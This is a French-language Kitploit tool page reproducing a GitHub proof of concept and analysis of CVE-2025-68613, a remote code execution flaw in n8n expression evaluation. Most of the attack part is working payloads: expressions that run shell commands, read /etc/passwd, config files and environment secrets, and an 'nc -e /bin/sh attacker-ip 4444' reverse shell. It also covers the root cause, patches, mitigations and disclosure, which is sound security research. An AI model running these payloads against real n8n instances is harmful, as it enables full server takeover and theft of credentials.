Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-68613-poc-via-copilot — Analyse technique détaillée et preuve de concept pour CVE-2025-68613, une vulnérabilité RCE critique dans l'évaluation d'expressions de n8n via un contournement du contexte this par IIFE. Comprend l'analyse des causes racines, les vecteurs d'exploitation et des conseils d'atténuation. | Kitploit
Outils/GitHubGitHub/intbjw/cve-2025-68613-poc-via-copilot
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubintbjw/cve-2025-68613-poc-via-copilot

CVE-2025-68613-poc-via-copilot

Voir le dépôt
1il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Analyse technique détaillée et preuve de concept pour CVE-2025-68613, une vulnérabilité RCE critique dans l'évaluation d'expressions de n8n via un contournement du contexte this par IIFE. Comprend l'analyse des causes racines, les vecteurs d'exploitation et des conseils d'atténuation.

Partager

✅ CVE-2025-68613 Analyse complète de la vulnérabilité d'injection d'expression RCE dans n8n

Date : 23 décembre 2024 Statut : ✅ RCE entièrement validé Score CVSS : 10.0 (Critique)


🎉 Payload RCE réussi

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

Résultat d'exécution : retourne avec succès les informations de l'utilisateur système (ex. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))


🔍 Analyse approfondie du principe de la vulnérabilité

Vulnérabilité principale : le contexte de la fonction immédiatement invoquée (IIFE) n'est pas sanitisé

this

1. Flux d'évaluation de l'expression

root@kitploit:~
Entrée utilisateur
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Création de l'objet de contexte data
  ↓
data.process = référence à l'objet process réel
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Clé : this = data
  ↓
Exécution de la fonction immédiatement invoquée
  ↓
this.process.mainModule.require ← ⚠️ Accès au vrai require
  ↓
Chargement du module child_process
  ↓
execSync('id') ← 🔥 RCE complet !

2. Emplacements de code clés

Emplacement 1 : Création du contexte de données

Fichier : packages/workflow/src/expression.ts Fonction : Expression.resolveSimpleParameterValue() Lignes : environ 230-290

root@kitploit:~
// Génération du proxy de données
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Point vulnérable 1 : ajout de l'objet process à data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Problème : bien que seules certaines propriétés soient exposées ici,
// il s'agit d'une référence d'objet, l'objet process réel reste accessible
// via la chaîne de prototypes ou d'autres moyens.
Emplacement 2 : Évaluation par Tournament

Fichier : node_modules/@n8n/tournament/src/FunctionEvaluator.ts

root@kitploit:~
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Point vulnérable 2 : transmission de data en tant que this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Point vulnérable 3 : création de fonction avec new Function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}
Emplacement 3 : Absence de sanitisation de this

Fichier : packages/workflow/src/expression-sandboxing.ts

Avant v1.122.0 :

root@kitploit:~
// ❌ Pas de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← tableau vide, pas de sanitisation de this
	after: [PrototypeSanitizer, DollarSignValidator],
});

Après v1.122.0 :

root@kitploit:~
// ✅ Ajout de FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← nouveau hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// Implémentation de FunctionThisSanitizer
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Réécrit toutes les expressions de fonction, lie explicitement this à un objet sécurisé
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Transforme function() { ... } en function() { ... }.bind({ process: {} })
		}
	});
};
Emplacement 4 : Liste de propriétés dangereuses incomplète

Fichier : packages/workflow/src/utils.ts Fonction : isSafeObjectProperty()

Avant v1.122.0 :

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Mainque mainModule, binding, _load

Après v1.122.0 :

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ ajouté
	'binding',       // ✅ ajouté
	'_load'          // ✅ ajouté
]);

💣 Techniques d'exploitation complètes

1. RCE de base

root@kitploit:~
{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

2. Exécution de commandes arbitraires

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

3. Accès au système de fichiers

root@kitploit:~
// Lecture de fichiers sensibles
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// Liste des répertoires
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Lecture de la configuration n8n
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// Liste du répertoire courant
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

4. Fuite complète des variables d'environnement (combinée avec les découvertes précédentes)

root@kitploit:~
// Accès direct via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Ou en utilisant la méthode déjà connue
{
	{
		JSON.stringify(process.env)
	}
}

5. Accès réseau (préparation pour un reverse shell)

root@kitploit:~
// Vérification des outils réseau
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Obtention des interfaces réseau
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Dangereux ! Réservé aux tests autorisés)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

📊 Résumé de validation de la vulnérabilité

✅ Vecteurs d'attaque exploitables confirmés

#Type d'attaquePayloadStatutCVSS
1Fuite de variables d'env.{{ Object.keys(process.env) }}✅ Réussi8.5
2Contournement Constructor{{ [][constructor] }}✅ Réussi8.0
3Constructeur Function{{ [][constructor][constructor] }}✅ Réussi8.5
4Exécution de code{{ [][constructor][constructor]('return 1+1')() }}✅ Réussi9.0
5RCE complet{{ (function() { this.process.mainModule.require... })() }}✅ Réussi10.0

❌ Attaques bloquées (dans vos tests)

#Type d'attaqueRaison
1require directIndisponible dans le nouveau scope
2process dans le constructeur Functionthis sanitisé dans certains contextes
3process.binding / process._loadProbablement bloqué ou restreint

🎯 Synergie des trois vulnérabilités clés

Vulnérabilité 1 : Variables d'environnement non protégées

root@kitploit:~
{
	{
		Object.keys(process.env)
	}
}  // ✅ Réussi
  • N8N_BLOCK_ENV_ACCESS_IN_NODE n'est pas défini à true
  • Toutes les variables d'environnement sont lisibles

Vulnérabilité 2 : Contournement de l'accès au constructeur

root@kitploit:~
{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ Réussi
  • Les chaînes de template avec backticks contournent la vérification AST
  • Permet de créer le constructeur Function

Vulnérabilité 3 : this de l'IIFE non sanitisé

root@kitploit:~
{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ Réussi
  • this dans la fonction immédiatement invoquée pointe toujours vers le contexte de données original
  • this.process.mainModule.require est accessible

Les trois combinés = RCE complet !


🛡️ Mesures de correction dans v1.122.0

Correctif 1 : FonctionThisSanitizer Hook

root@kitploit:~
// Nouveau hook AST before
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// Parcourt toutes les expressions de fonction
	// Réécrit les fonctions pour lier this à { process: {} }
	// Ainsi, même pour les IIFE, this est un objet vide sécurisé
};

Correctif 2 : Extension de la liste de propriétés dangereuses

root@kitploit:~
const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← ajouté
	'binding',       // ← ajouté
	'_load'          // ← ajouté
]);

Correctif 3 : Activation par défaut de la protection des variables d'environnement (supposée)

root@kitploit:~
// Probable modification de la valeur par défaut à true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

📈 Évaluation de l'impact

Score CVSS v3.1 : 10.0 (Critique)

Chaîne vectorielle : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

MétriqueValeurDescription
Vecteur d'attaque (AV)Réseau (N)Exploitable à distance
Complexité d'attaque (AC)Faible (L)Exploitation simple
Privilèges requis (PR)Faible (L)Nécessite un utilisateur authentifié
Interaction utilisateur (UI)Aucune (N)Aucune interaction nécessaire
Périmètre (S)Modifié (C)Impacte le système sous-jacent
Confidentialité (C)Élevée (H)Fuite complète d'informations
Intégrité (I)Élevée (H)Contrôle complet du système
Disponibilité (A)Élevée (H)Interruption totale du service

Score de base : 10.0 (maximum)

Impact réel

Ce qu'un attaquant peut faire :

  1. ✅ Lire toutes les variables d'environnement (mots de passe de bases de données, clés API, etc.)
  2. ✅ Exécuter des commandes système arbitraires
  3. ✅ Lire/écrire sur le système de fichiers
  4. ✅ Accéder aux bases de données
  5. ✅ Se déplacer latéralement vers d'autres systèmes
  6. ✅ Installer des backdoors persistantes
  7. ✅ Voler tous les workflows et identifiants
  8. ✅ Prendre le contrôle total de l'instance n8n

Déploiements affectés :

  • Toutes les instances n8n < v1.122.0
  • Instances où N8N_BLOCK_ENV_ACCESS_IN_NODE=true n'est pas défini
  • Instances autorisant les utilisateurs non administrateurs à créer des workflows

🚨 Recommandations de correction urgentes

Action immédiate (administrateur)

1. Définir la protection des variables d'environnement (1 minute)

root@kitploit:~
# Méthode 1 : export de la variable d'environnement
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# Méthode 2 : dans le fichier .env
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# Méthode 3 : Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

2. Mise à jour vers la dernière version (5-10 minutes)

root@kitploit:~
# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# Vérifier la version
n8n --version  # Doit être >= 1.122.0

3. Examiner les workflows existants (1 heure)

root@kitploit:~
-- Si vous utilisez PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

4. Restreindre les permissions (30 minutes)

  • Désactiver les droits d'édition de workflows pour les utilisateurs non administrateurs
  • Mettre en place un processus d'approbation des workflows
  • Activer les journaux d'audit

5. Isoler le déploiement (continu)

root@kitploit:~
# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

📝 Divulgation responsable

Recommandations de divulgation

Contacter l'équipe de sécurité n8n

root@kitploit:~
À : [email protected]
Objet : [CRITIQUE] Vulnérabilité RCE 0-day – Contournement du contexte this dans IIFE

Gravité : CVSS 10.0 (Critique)
Versions concernées : n8n < 1.122.0

Résumé :
Une vulnérabilité RCE critique a été découverte, permettant à un utilisateur authentifié
d'accéder à process.mainModule.require via une fonction immédiatement invoquée (IIFE),
et ainsi d'exécuter des commandes système arbitraires.

PoC validé :
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

Cause racine :
1. this dans l'IIFE n'est pas sanitisé
2. process.mainModule n'est pas bloqué
3. N8N_BLOCK_ENV_ACCESS_IN_NODE est par défaut à false

Correctif suggéré :
1. Implémenter le hook FunctionThisSanitizer
2. Ajouter mainModule, binding, _load à la liste noire
3. Activer par défaut la protection des variables d'environnement

Analyse détaillée en pièce jointe.

Chronologie de divulgation

  1. J+0 (aujourd'hui) : Notification privée à l'équipe de sécurité n8n
  2. J+7 jours : Suivi de confirmation
  3. J+30 jours : Si un correctif existe, aider à la validation
  4. J+90 jours : Divulgation publique (si corrigé)

🏆 Résumé de la découverte

Votre contribution majeure :

  1. ✅ Découverte et validation d'une vulnérabilité RCE complète
  2. ✅ Identification de la technique de contournement par backticks
  3. ✅ Confirmation de la vulnérabilité du contexte this dans l'IIFE
  4. ✅ Fourniture d'un PoC fonctionnel
  5. ✅ Analyse technique détaillée

Valeur de la vulnérabilité :

  • Valeur technique : Très haute (CVSS 10.0)
  • Périmètre d'impact : Large (toutes les instances avant v1.122.0)
  • Difficulté d'exploitation : Faible (un simple expression suffit)
  • Coût de correction : Moyen (nécessite modification du code et mise à jour)

Date de création : 23 décembre 2024 Statut de la vulnérabilité : ✅ Validation complète réussie Score CVSS : 10.0 (Critique) Recommandation : Divulguer et corriger immédiatement

🎉 Félicitations pour la découverte d'une vulnérabilité RCE parfaite ! Veuillez la traiter et la divulguer de manière responsable ! 🔒

Télécharger l’outil